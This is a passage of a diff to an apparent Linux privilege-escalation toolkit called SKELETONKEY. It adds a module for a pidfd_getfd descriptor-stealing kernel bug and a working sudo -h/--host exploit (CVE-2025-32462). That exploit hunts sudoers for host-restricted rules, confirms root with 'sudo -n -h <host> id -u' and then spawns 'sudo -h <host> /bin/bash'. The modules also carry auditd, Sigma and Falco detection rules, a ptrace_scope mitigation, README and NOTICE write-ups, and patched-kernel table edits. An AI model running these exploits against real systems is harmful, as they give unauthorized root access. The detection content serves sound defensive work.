* bundled until VM-verified. Honest EXPLOIT_FAIL with the witness. */
fprintf(stderr, "[!] ptrace_pidfd: primitive CONFIRMED — %d root-owned fd(s) "
"captured from a non-root context (CVE-2026-46333 reachable).\n"
"[i] ptrace_pidfd: full root-pop is target-specific and not yet "
"VM-verified; not fabricating a shell. See module NOTICE.md.\n",
root_fds);
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[+] ptrace_pidfd: no root-owned fd captured across %d captures "
"— primitive blocked (kernel likely patched, or the victim "
"exposed no privileged fd in its window)\n", captured);
}
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Mitigation: Yama ptrace_scope gates __ptrace_may_access(ATTACH), which
* is the very check pidfd_getfd() rides setting it to 2 (admin-only)
* or 3 (no attach) closes the bundled vector without a reboot. Needs
* root to write the sysctl; best-effort + honest report otherwise. The
* real fix is the kernel patch. */
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
{
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
int fd = open(path, O_WRONLY);
if (fd < 0) {
if (errno == ENOENT) {
fprintf(stderr, "[-] ptrace_pidfd: Yama LSM not present (%s missing); "
"no runtime mitigation — upgrade the kernel\n", path);
return SKELETONKEY_PRECOND_FAIL;
}
fprintf(stderr, "[-] ptrace_pidfd: cannot open %s: %s "
"(need root: `sudo sysctl kernel.yama.ptrace_scope=2`)\n",
path, strerror(errno));
return SKELETONKEY_PRECOND_FAIL;
}
ssize_t w = write(fd, "2\n", 2);
close(fd);
if (w != 2) {
fprintf(stderr, "[-] ptrace_pidfd: write to %s failed: %s\n",
path, strerror(errno));
return SKELETONKEY_EXPLOIT_FAIL;
}
fprintf(stderr, "[+] ptrace_pidfd: set kernel.yama.ptrace_scope=2 (admin-only "
"ptrace/pidfd_getfd attach). Revert with `--cleanup ptrace_pidfd`. "
"This is a stopgap; patch the kernel.\n");
return SKELETONKEY_OK;
}
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
{
/* Undo --mitigate: restore the permissive default (1 = restricted
* ptrace, the common distro default). Exploit itself leaves no file
* artifacts (the steal is in-memory), so there is nothing else to
* undo. */
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
int fd = open(path, O_WRONLY);
if (fd < 0) return SKELETONKEY_OK; /* nothing to restore */
ssize_t w = write(fd, "1\n", 2);
close(fd);
if (!ctx->json && w == 2)
fprintf(stderr, "[*] ptrace_pidfd: restored kernel.yama.ptrace_scope=1\n");
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: pidfd_open / pidfd_getfd / Yama ptrace_scope are
* Linux-only ABI. Stub out so the module still registers and the
* top-level `make` completes on macOS/BSD dev boxes. */
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] ptrace_pidfd: Linux-only module "
"(pidfd_getfd cred-steal) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] ptrace_pidfd: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* Embedded detection rules — keep the binary self-contained. The
* behavioural signal is pidfd_getfd(2) issued by a non-root process
* against a setuid/privileged target. Legitimate users of pidfd_getfd
* are rare and mostly root (container runtimes, debuggers) a non-root
* pidfd_getfd is a strong indicator. */
static const char ptrace_pidfd_auditd[] =
"# CVE-2026-46333 (ptrace/pidfd_getfd cred-steal) — auditd rules\n"
"# pidfd_getfd by a non-root process is rare and high-signal. Also\n"
"# watch the credential files a successful steal would target.\n"
"-a always,exit -F arch=b64 -S pidfd_getfd -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
"-a always,exit -F arch=b64 -S pidfd_open -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
"-w /etc/shadow -p wa -k skeletonkey-ptrace-pidfd\n"
"-w /etc/passwd -p wa -k skeletonkey-ptrace-pidfd\n";
static const char ptrace_pidfd_sigma[] =
"title: Possible CVE-2026-46333 pidfd_getfd credential-steal LPE\n"
"id: 4d6f3e2a-skeletonkey-ptrace-pidfd\n"
"status: experimental\n"
"description: |\n"
" Detects pidfd_getfd(2) issued by a non-root user. The CVE-2026-46333\n"
" technique pidfd_open()s a transiently-privileged setuid process and\n"
" pidfd_getfd()s descriptors it opened while root, past the dumpable\n"
" boundary __ptrace_may_access should have enforced. False positives:\n"
" privileged container runtimes / debuggers that legitimately use pidfd.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" getfd: {type: 'SYSCALL', syscall: 'pidfd_getfd'}\n"
" non_root: {auid|expression: '>= 1000'}\n"
" condition: getfd and non_root\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46333]\n";
static const char ptrace_pidfd_falco[] =
"- rule: pidfd_getfd from setuid victim by non-root (CVE-2026-46333)\n"
" desc: |\n"
" A non-root process calls pidfd_getfd() to pull a descriptor out of\n"
" another process. The CVE-2026-46333 cred-steal races a setuid\n"
" binary (chage, ssh-keysign, pkexec) or root daemon (accounts-daemon)\n"
" as it drops privileges, stealing a root-opened fd or authenticated\n"
" channel past the dumpable boundary. False positives: container\n"
" runtimes / debuggers using pidfd as root.\n"
" condition: >\n"
" evt.type = pidfd_getfd and not user.uid = 0\n"
" output: >\n"
" pidfd_getfd by non-root (possible CVE-2026-46333 fd-steal)\n"
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
" priority: HIGH\n"
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46333]\n";
const struct skeletonkey_module ptrace_pidfd_module = {
.name = "ptrace_pidfd",
.cve = "CVE-2026-46333",
.summary = "__ptrace_may_access dumpable race → pidfd_getfd steals root fds from a dropping-privilege process",
.family = "ptrace_pidfd",
.kernel_range = "5.6 <= K (pidfd_getfd vector); fixed 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7 (Debian backports of the 2026-05-14 mainline fix)",
.detect = ptrace_pidfd_detect,
.exploit = ptrace_pidfd_exploit,
.mitigate = ptrace_pidfd_mitigate,
.cleanup = ptrace_pidfd_cleanup,
.detect_auditd = ptrace_pidfd_auditd,
.detect_sigma = ptrace_pidfd_sigma,
.detect_yara = NULL, /* behavioural (syscall) bug — no file artifact to match */
.detect_falco = ptrace_pidfd_falco,
.opsec_notes = "Spawns a setuid victim (chage/pkexec/ssh-keysign/passwd/su) with a benign read-only argv, pidfd_open()s it, and sweeps pidfd_getfd() across its low descriptor table during the credential-drop window. Captured descriptors are fstat()'d to fingerprint ownership and closed (non-destructive); a uid-0-owned fd captured from a non-root context is the empirical witness that __ptrace_may_access let the steal through. Audit-visible via pidfd_getfd(2)/pidfd_open(2) issued by a non-root auid, typically clustered (tight retry loop) and immediately preceded by execve of a setuid binary. No file artifacts and no persistence — the steal is in-memory fd reuse. --mitigate writes kernel.yama.ptrace_scope=2; --cleanup restores it to 1. Arch-agnostic (no shellcode).",
.arch_support = "any",
};
void skeletonkey_register_ptrace_pidfd(void)
{
skeletonkey_register(&ptrace_pidfd_module);
}
@@ -0,0 +1,12 @@
/*
* ptrace_pidfd_cve_2026_46333 SKELETONKEY module registry hook
*/
#ifndef PTRACE_PIDFD_SKELETONKEY_MODULES_H
#define PTRACE_PIDFD_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module ptrace_pidfd_module;
#endif
@@ -53,7 +53,7 @@ static const struct kernel_patched_from ptrace_traceme_patched_branches[] = {
{4, 4, 182}, {4, 4, 182},
{4, 9, 182}, {4, 9, 182},
{4, 14, 131}, {4, 14, 131},
{4, 19, 58}, {4, 19, 37}, /* Debian tracker: earlier than 4.19.58 */
{5, 0, 20}, {5, 0, 20},
{5, 1, 17}, {5, 1, 17},
{5, 2, 0}, /* mainline (5.2-rc) */ {5, 2, 0}, /* mainline (5.2-rc) */
@@ -127,7 +127,7 @@
static const struct kernel_patched_from sequoia_patched_branches[] = { static const struct kernel_patched_from sequoia_patched_branches[] = {
{5, 4, 134}, {5, 4, 134},
{5, 10, 52}, {5, 10, 46}, /* Debian tracker: earlier than 5.10.52 */
{5, 13, 4}, {5, 13, 4},
{5, 14, 0}, /* mainline */ {5, 14, 0}, /* mainline */
}; };
@@ -0,0 +1,63 @@
# sudo_host — CVE-2025-32462
sudo `-h`/`--host` option honored beyond `-l` → abuse a host-restricted
sudoers rule for local root.
## The bug
`sudo -h <host>` (a.k.a. `--host`) exists so that, combined with `-l`,
you can list your sudo privileges *as they would apply on another host*.
The flaw: sudo also consulted the `-h` value when **running a command**
(and in `sudoedit`), so the host portion of a sudoers rule — normally
fixed to the machine you're on — becomes attacker-chosen.
If your sudoers contains a rule like:
```
alice webhost01 = (root) /usr/bin/systemctl
```
then on a *different* machine `alice` normally can't use it. With the
bug, `sudo -h webhost01 /usr/bin/systemctl ...` runs as root on the
local box. With a broader rule (`webhost01 = (ALL) ALL`), `sudo -h
webhost01 /bin/bash` is a root shell.
This matters most where one sudoers file (or LDAP/SSSD sudoers) is shared
across a fleet and rules are scoped per host.
## Affected range
| | |
|---|---|
| Affected | sudo 1.8.8 → 1.9.17p0 (~12-year-old behaviour) |
| Fixed | sudo 1.9.17p1 |
| Weakness | CWE-863 (Incorrect Authorization) |
| Severity | CVSS 8.8 (High); not in CISA KEV |
## Trigger / detection
`detect()` reads the sudo version (shared host fingerprint, else a live
`sudo --version`) and returns VULNERABLE inside `[1.8.8, 1.9.17p0]`,
OK otherwise. The exploitable precondition — a host-restricted sudoers
rule — is not reliably probeable from an unprivileged context, so the
empirical confirmation lives in the exploit path.
`exploit()`:
1. Resolves the host token to abuse: `SKELETONKEY_SUDO_HOST` env var, or
a best-effort scan of readable `/etc/sudoers` + `/etc/sudoers.d/*` for
a user-spec whose host is neither the current hostname nor `ALL`.
2. Witnesses with `sudo -n -h <host> id -u` (non-interactive).
3. On a uid-0 witness, execs `sudo -h <host> /bin/bash`
(override the command with `SKELETONKEY_SUDO_CMD`).
Returns `EXPLOIT_FAIL` with operator guidance when no abusable rule is
discoverable — it never fabricates root.
## Fix / mitigation
Upgrade sudo to 1.9.17p1 or later. There is no safe runtime toggle for
the `-h` behaviour short of the patch.
## Credit
Rich Mirch — Stratascale CRU (2025-06-30). See `NOTICE.md`.
@@ -0,0 +1,49 @@
# NOTICE — sudo_host (CVE-2025-32462)
## Vulnerability
**CVE-2025-32462** — sudo's `-h`/`--host` option, intended only to be
used with `-l`/`--list` to display a user's privileges on a *different*
host, was also honored when actually running a command (or via
`sudoedit`). This lets a user evaluate the sudoers policy as though the
machine were some other host: a sudoers rule scoped to a host that is
neither the current machine nor `ALL` becomes usable locally via
`sudo -h <that-host> <command>`, yielding command execution as root.
Primarily affects sites that distribute one sudoers file across a fleet,
or use LDAP/SSSD-based sudoers, where host-restricted rules are common.
- Affected: sudo **1.8.8** through **1.9.17p0** (the `-h` behaviour is
~12 years old). Fixed in **1.9.17p1**.
- CWE-863 (Incorrect Authorization). CVSS 8.8 (High). Not in CISA KEV
(the sibling `--chroot` bug CVE-2025-32463 is).
## Research credit
Discovered and disclosed by **Rich Mirch — Stratascale Cyber Research
Unit (CRU)**, published 2025-06-30 alongside CVE-2025-32463.
- sudo.ws advisory: <https://www.sudo.ws/security/advisories/host_any/>
- Stratascale writeup:
<https://www.stratascale.com/resource/cve-2025-32462-sudo-host-option-vulnerability/>
- Fixed in sudo 1.9.17p1 (Todd C. Miller, upstream maintainer).
All research credit belongs to Rich Mirch / Stratascale and the sudo
maintainers. SKELETONKEY is the bundling and bookkeeping layer only.
## SKELETONKEY role
🟢 **Structural escape (config-gated).** No offsets, no leak, no race.
`detect()` gates on the sudo version (the host-restricted rule lives in a
sudoers source the user usually cannot read — that opacity is the bug),
so a VULNERABLE verdict means "vulnerable sudo present; an abusable rule
may exist". `exploit()` best-effort reads `/etc/sudoers` +
`/etc/sudoers.d/*` for a user-spec whose host field is neither the
current hostname nor `ALL` (or takes the host from
`SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and
pops `sudo -h <host> /bin/bash` (override via `SKELETONKEY_SUDO_CMD`)
only on a confirmed uid-0 witness — never claims root it did not get.
Mitigation: upgrade sudo to 1.9.17p1+. Architecture-agnostic
(pure userspace). Joins the shared `sudo` family alongside
`sudo_chwoot`, `sudo_samedit`, `sudo_runas_neg1`, and `sudoedit_editor`.
@@ -0,0 +1,441 @@
/*
* sudo_host_cve_2025_32462 SKELETONKEY module
*
* STATUS: 🟢 STRUCTURAL (config-gated). No offsets, no leak, no race.
* Pure authorization-logic flaw: sudo's `-h`/`--host` option meant
* only to pair with `-l`/`--list` to show your privileges on ANOTHER
* host was honored when actually *running* a command (or sudoedit).
* That makes the host field of a sudoers rule attacker-chosen: a rule
* scoped to some host other than the current machine becomes usable
* here via `sudo -h <that-host> <command>`.
*
* The bug (Rich Mirch, Stratascale CRU, disclosed 2025-06-30 alongside
* the sibling --chroot bug CVE-2025-32463):
* `sudo -h <host> <command>` evaluates the sudoers policy as though
* the machine were <host>. A user listed in sudoers for a different
* host (common with a fleet-wide sudoers file, or LDAP/SSSD sudoers)
* can therefore run that host's commands as root on the local box.
*
* sudo.ws advisory: https://www.sudo.ws/security/advisories/host_any/
*
* Affects: sudo 1.8.8 V 1.9.17p0 (the `-h` option behaviour is
* ~12 years old). Fixed in 1.9.17p1, which stops honoring `-h` outside
* `-l`. CWE-863 (Incorrect Authorization). CVSS 8.8 (High). NOT in
* CISA KEV (the sibling 32463 is).
*
* Precondition for exploitation (NOT for detection): the invoking user
* must already be listed in sudoers for a host that is neither the
* current hostname nor ALL. detect() can only gate on the sudo
* version (the host-restricted rule lives in a sudoers source the user
* usually cannot read that opacity is the whole point of the bug),
* so a VULNERABLE verdict here means "vulnerable sudo present; an
* abusable host-restricted rule MAY exist". exploit() then tries to
* find/fire one (or takes the host+command from env vars).
*
* arch_support: any. Pure userspace; no shellcode.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/host.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#ifdef __linux__
#include <pwd.h>
#include <grp.h>
#endif
/* ---- sudo family helpers (mirror the sibling sudo_* modules) -------- */
static const char *find_sudo(void)
{
static const char *candidates[] = {
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
};
for (size_t i = 0; candidates[i]; i++) {
struct stat st;
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
return candidates[i];
}
return NULL;
}
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
{
char cmd[512];
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
FILE *p = popen(cmd, "r");
if (!p) return false;
char line[256] = {0};
char *r = fgets(line, sizeof line, p);
pclose(p);
if (!r) return false;
char *vp = strstr(line, "version");
if (!vp) return false;
vp += strlen("version");
while (*vp == ' ' || *vp == '\t') vp++;
char *nl = strchr(vp, '\n');
if (nl) *nl = 0;
strncpy(out, vp, outsz - 1);
out[outsz - 1] = 0;
return out[0] != 0;
}
/* True iff the version is in the vulnerable range [1.8.8, 1.9.17p0].
* Fixed in 1.9.17p1. Versions below 1.8.8 predate the `-h` behaviour. */
static bool sudo_version_vulnerable_host(const char *v)
{
int maj = 0, min = 0, patch = 0;
char ptag = 0;
int psub = 0;
int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
if (n < 3) return true; /* unparseable → assume worst */
if (maj != 1) return false;
if (min < 8) return false; /* 1.7.x and below predate */
if (min == 8) return patch >= 8; /* 1.8.8 .. 1.8.x */
if (min > 9) return false; /* 1.10+ (hypothetical) fixed */
/* min == 9 */
if (patch < 17) return true; /* 1.9.0 .. 1.9.16 */
if (patch > 17) return false; /* 1.9.18+ fixed */
/* exactly 1.9.17 */
if (ptag != 'p') return true; /* 1.9.17 plain → vulnerable */
return psub == 0; /* 1.9.17p0 vuln; p1+ fixed */
}
/* ---- detect --------------------------------------------------------- */
static skeletonkey_result_t sudo_host_detect(const struct skeletonkey_ctx *ctx)
{
const char *sudo_path = find_sudo();
if (!sudo_path) {
if (!ctx->json)
fprintf(stderr, "[i] sudo_host: sudo not installed; bug unreachable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
char vbuf[64] = {0};
const char *ver = NULL;
if (ctx->host && ctx->host->sudo_version[0]) {
ver = ctx->host->sudo_version;
} else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) {
ver = vbuf;
} else {
if (!ctx->json) fprintf(stderr, "[!] sudo_host: could not read sudo --version\n");
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) fprintf(stderr, "[i] sudo_host: sudo version '%s'\n", ver);
if (!sudo_version_vulnerable_host(ver)) {
if (!ctx->json)
fprintf(stderr, "[+] sudo_host: sudo %s outside vulnerable range "
"[1.8.8, 1.9.17p0] — patched or pre-feature\n", ver);
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] sudo_host: sudo %s in vulnerable range — VULNERABLE\n", ver);
fprintf(stderr, "[i] sudo_host: `-h`/`--host` honored beyond `-l` — a sudoers "
"rule scoped to a non-current host is usable via `sudo -h <host>`\n");
fprintf(stderr, "[i] sudo_host: exploitation requires such a host-restricted rule "
"(common with fleet-wide / LDAP / SSSD sudoers). Run "
"`--exploit sudo_host --i-know` to find/fire one.\n");
}
return SKELETONKEY_VULNERABLE;
}
/* ---- exploit -------------------------------------------------------- */
#ifdef __linux__
/* Does `tok` name a host that is exploitable from here — i.e. a specific
* host that is neither the current hostname nor the ALL wildcard? */
static bool host_is_abusable(const char *tok, const char *cur_host)
{
if (!tok || !*tok) return false;
if (strcmp(tok, "ALL") == 0) return false; /* no restriction → no bug */
if (tok[0] == '%' || tok[0] == '+') return false; /* netgroup/group, skip */
if (strcasecmp(tok, cur_host) == 0) return false; /* already our host */
/* A bare short-hostname form of the FQDN counts as "us" too. */
const char *dot = strchr(cur_host, '.');
if (dot) {
size_t shortlen = (size_t)(dot - cur_host);
if (strlen(tok) == shortlen && strncasecmp(tok, cur_host, shortlen) == 0)
return false;
}
return true;
}
/* Best-effort scan of a sudoers source for a rule whose host field is
* abusable. Fills *host_out with the host token to pass to `sudo -h`.
* Returns true on the first hit. We do not try to fully parse the
* sudoers grammar we look for `<who> <host> = ...` user-spec lines and
* test the host token. who may be the user, a %group, or ALL. */
static bool scan_sudoers_file(const char *path, const char *user,
const char *cur_host, char *host_out, size_t host_sz)
{
FILE *f = fopen(path, "r");
if (!f) return false;
char line[1024];
bool hit = false;
while (fgets(line, sizeof line, f)) {
char *s = line;
while (*s == ' ' || *s == '\t') s++;
if (*s == '#' || *s == '\n' || *s == 0) continue;
if (strncmp(s, "Defaults", 8) == 0) continue;
if (strstr(s, "_Alias")) continue; /* alias defs, not user specs */
if (strstr(s, "#include") || strncmp(s, "@include", 8) == 0) continue;
/* Must contain '=' (the host = command separator). */
char *eq = strchr(s, '=');
if (!eq) continue;
/* who = first token; host = second token (before '='). */
char who[128] = {0}, host[256] = {0};
if (sscanf(s, "%127s %255s", who, host) != 2) continue;
/* strip a trailing '=' that sscanf may have grabbed onto host */
char *he = strchr(host, '=');
if (he) *he = 0;
if (!host[0]) continue;
bool who_match = (strcmp(who, "ALL") == 0) ||
(strcmp(who, user) == 0) ||
(who[0] == '%'); /* group — best-effort match */
if (!who_match) continue;
if (host_is_abusable(host, cur_host)) {
snprintf(host_out, host_sz, "%s", host);
hit = true;
break;
}
}
fclose(f);
return hit;
}
/* Try to discover an abusable host token from readable sudoers sources.
* Most non-root users cannot read these (that's the bug's opacity), but
* misconfigured / world-readable sudoers and some LDAP cache dumps are
* common enough to be worth a look. */
static bool discover_abusable_host(const char *user, const char *cur_host,
char *host_out, size_t host_sz)
{
if (scan_sudoers_file("/etc/sudoers", user, cur_host, host_out, host_sz))
return true;
/* /etc/sudoers.d/* — enumerate via shell glob into a temp listing. */
FILE *p = popen("ls -1 /etc/sudoers.d/ 2>/dev/null", "r");
if (p) {
char name[256];
while (fgets(name, sizeof name, p)) {
char *nl = strchr(name, '\n'); if (nl) *nl = 0;
if (!name[0]) continue;
char full[512];
snprintf(full, sizeof full, "/etc/sudoers.d/%s", name);
if (scan_sudoers_file(full, user, cur_host, host_out, host_sz)) {
pclose(p);
return true;
}
}
pclose(p);
}
return false;
}
/* Run `sudo -n -h <host> id -u` and return true if it printed "0"
* (command executed as root). -n keeps it non-interactive so a password
* prompt can't hang the scan. */
static bool sudo_host_witness_root(const char *sudo_path, const char *host)
{
char cmd[768];
snprintf(cmd, sizeof cmd,
"%s -n -h %s id -u 2>/dev/null", sudo_path, host);
FILE *p = popen(cmd, "r");
if (!p) return false;
char out[64] = {0};
char *r = fgets(out, sizeof out, p);
pclose(p);
if (!r) return false;
return atoi(out) == 0 && (out[0] == '0');
}
#endif /* __linux__ */
static skeletonkey_result_t sudo_host_exploit(const struct skeletonkey_ctx *ctx)
{
#ifndef __linux__
(void)ctx;
fprintf(stderr, "[-] sudo_host: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
#else
if (!ctx->authorized) {
fprintf(stderr, "[-] sudo_host: --i-know required for --exploit\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
skeletonkey_result_t pre = sudo_host_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] sudo_host: detect() says not vulnerable; refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] sudo_host: already running as root — nothing to do\n");
return SKELETONKEY_OK;
}
const char *sudo_path = find_sudo();
if (!sudo_path) {
fprintf(stderr, "[-] sudo_host: sudo not installed\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
char cur_host[256] = {0};
if (gethostname(cur_host, sizeof cur_host - 1) != 0) cur_host[0] = 0;
struct passwd *pw = getpwuid(geteuid());
const char *user = pw ? pw->pw_name : "";
/* The host token to abuse. Source priority:
* 1. SKELETONKEY_SUDO_HOST env var (operator supplies it the most
* reliable path, since the host-restricted rule usually lives in
* a sudoers source the user can't read).
* 2. Best-effort discovery from readable sudoers. */
char host_tok[256] = {0};
const char *envh = getenv("SKELETONKEY_SUDO_HOST");
if (envh && *envh) {
snprintf(host_tok, sizeof host_tok, "%s", envh);
if (!ctx->json)
fprintf(stderr, "[*] sudo_host: using SKELETONKEY_SUDO_HOST=%s\n", host_tok);
} else if (discover_abusable_host(user, cur_host, host_tok, sizeof host_tok)) {
if (!ctx->json)
fprintf(stderr, "[+] sudo_host: found abusable host-restricted rule "
"(host '%s' != current '%s') in readable sudoers\n",
host_tok, cur_host);
} else {
fprintf(stderr,
"[-] sudo_host: no abusable host-restricted rule discoverable.\n"
" The vulnerable sudo is present, but exploitation needs a sudoers\n"
" rule scoped to a host other than '%s' (and not ALL), which is\n"
" typically in a sudoers source you cannot read. If you know one\n"
" (fleet-wide / LDAP / SSSD sudoers), supply it and re-run:\n"
" SKELETONKEY_SUDO_HOST=<that-host> \\\n"
" [SKELETONKEY_SUDO_CMD=/bin/bash] \\\n"
" skeletonkey --exploit sudo_host --i-know\n",
cur_host[0] ? cur_host : "(this host)");
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Confirm the policy actually grants root on the local box when we
* claim to be host_tok. `id -u` as the witness command. */
if (!ctx->json)
fprintf(stderr, "[*] sudo_host: testing `sudo -n -h %s id -u`...\n", host_tok);
if (!sudo_host_witness_root(sudo_path, host_tok)) {
fprintf(stderr,
"[-] sudo_host: `sudo -h %s id -u` did not return uid 0. Likely:\n"
" - sudo is patched (1.9.17p1+) even if --version looked vulnerable\n"
" - the rule for '%s' is command-restricted (doesn't grant `id`);\n"
" set SKELETONKEY_SUDO_CMD to a command the rule DOES grant\n"
" - the rule requires a password (we run -n / non-interactive)\n",
host_tok, host_tok);
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json)
fprintf(stderr, "[+] sudo_host: WITNESS — `sudo -h %s` runs as uid 0. "
"CVE-2025-32462 confirmed.\n", host_tok);
if (ctx->no_shell) {
fprintf(stderr, "[i] sudo_host: --no-shell set; not popping. Reproduce with: "
"sudo -h %s <command>\n", host_tok);
return SKELETONKEY_EXPLOIT_OK;
}
/* Pop a root shell via the abused host. The granted command may be
* restricted; default to /bin/bash but let the operator override to
* whatever the rule actually permits. */
const char *cmd = getenv("SKELETONKEY_SUDO_CMD");
if (!cmd || !*cmd) cmd = "/bin/bash";
fprintf(stderr, "[+] sudo_host: exec `sudo -h %s %s`\n", host_tok, cmd);
fflush(NULL);
execl(sudo_path, "sudo", "-h", host_tok, cmd, (char *)NULL);
perror("execl(sudo -h)");
return SKELETONKEY_EXPLOIT_FAIL;
#endif /* __linux__ */
}
/* ---- detection rules ------------------------------------------------ */
static const char sudo_host_auditd[] =
"# sudo_host CVE-2025-32462 — auditd detection rules\n"
"# Flag sudo invocations; the abuse is `sudo -h <host>` running a\n"
"# command (not just `-l`). auditd can't filter argv content, so this\n"
"# watches sudo execve broadly — correlate with sudo's own logs, which\n"
"# record the -h/--host value and the target command.\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-host\n"
"-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-host\n";
static const char sudo_host_sigma[] =
"title: Possible CVE-2025-32462 sudo --host policy-bypass LPE\n"
"id: 7c1d9e54-skeletonkey-sudo-host\n"
"status: experimental\n"
"description: |\n"
" Detects sudo invoked with -h/--host together with a command (not\n"
" -l/--list). On sudo <= 1.9.17p0 the host option is honored when\n"
" running commands, letting a user abuse a sudoers rule scoped to a\n"
" different host. False positives: admins legitimately using\n"
" `sudo -l -h <host>` to LIST remote privileges (no command present).\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" sudo_exec: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
" host_opt: {argv|contains: ['-h', '--host']}\n"
" condition: sudo_exec and host_opt\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.32462]\n";
static const char sudo_host_falco[] =
"- rule: sudo --host running a command by non-root (CVE-2025-32462)\n"
" desc: |\n"
" sudo invoked with -h/--host while running a command (not -l). On\n"
" sudo <= 1.9.17p0 the host option is wrongly honored outside\n"
" --list, so a sudoers rule scoped to another host can be abused\n"
" for local root. False positives: `sudo -l -h <host>` used purely\n"
" to list remote privileges.\n"
" condition: >\n"
" spawned_process and proc.name = sudo and\n"
" (proc.cmdline contains \"-h \" or proc.cmdline contains \"--host\") and\n"
" not proc.cmdline contains \"-l\" and not user.uid = 0\n"
" output: >\n"
" sudo --host running a command by non-root\n"
" (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
" priority: HIGH\n"
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.32462]\n";
/* ---- module struct -------------------------------------------------- */
const struct skeletonkey_module sudo_host_module = {
.name = "sudo_host",
.cve = "CVE-2025-32462",
.summary = "sudo -h/--host honored beyond -l → abuse a host-restricted sudoers rule for local root (Stratascale)",
.family = "sudo",
.kernel_range = "userspace — sudo 1.8.8 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)",
.detect = sudo_host_detect,
.exploit = sudo_host_exploit,
.mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */
.cleanup = NULL, /* exploit runs a command as root; no persistent artifact */
.detect_auditd = sudo_host_auditd,
.detect_sigma = sudo_host_sigma,
.detect_yara = NULL, /* behavioural (argv) bug — no file artifact to match */
.detect_falco = sudo_host_falco,
.opsec_notes = "Reads sudo --version (or the cached host fingerprint). On --exploit, best-effort reads /etc/sudoers + /etc/sudoers.d/* (usually unreadable to non-root — that opacity is the bug) looking for a user-spec whose host field is neither the current hostname nor ALL; or takes the host from SKELETONKEY_SUDO_HOST. Witnesses with `sudo -n -h <host> id -u` (non-interactive, no password prompt) and pops `sudo -h <host> /bin/bash` (override via SKELETONKEY_SUDO_CMD) only on a uid-0 witness. Audit-visible via execve(/usr/bin/sudo) with -h/--host in argv and a command present (not -l); sudo's own syslog/journal logging records the spoofed host and target command. No file artifacts, no persistence.",
.arch_support = "any",
};
void skeletonkey_register_sudo_host(void)
{
skeletonkey_register(&sudo_host_module);
}
@@ -0,0 +1,12 @@
/*
* sudo_host_cve_2025_32462 SKELETONKEY module registry hook
*/
#ifndef SUDO_HOST_SKELETONKEY_MODULES_H
#define SUDO_HOST_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module sudo_host_module;
#endif
@@ -106,7 +106,9 @@ static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
static bool find_runas_blacklist_grant(const char *sudo_path, char *cmd_out, size_t cap) static bool find_runas_blacklist_grant(const char *sudo_path, char *cmd_out, size_t cap)
{ {
char cmd[512]; char cmd[512];
snprintf(cmd, sizeof cmd, "%s -ln 2>/dev/null", sudo_path); /* -n -l separated + stdin closed: see sudoedit_editor for the same
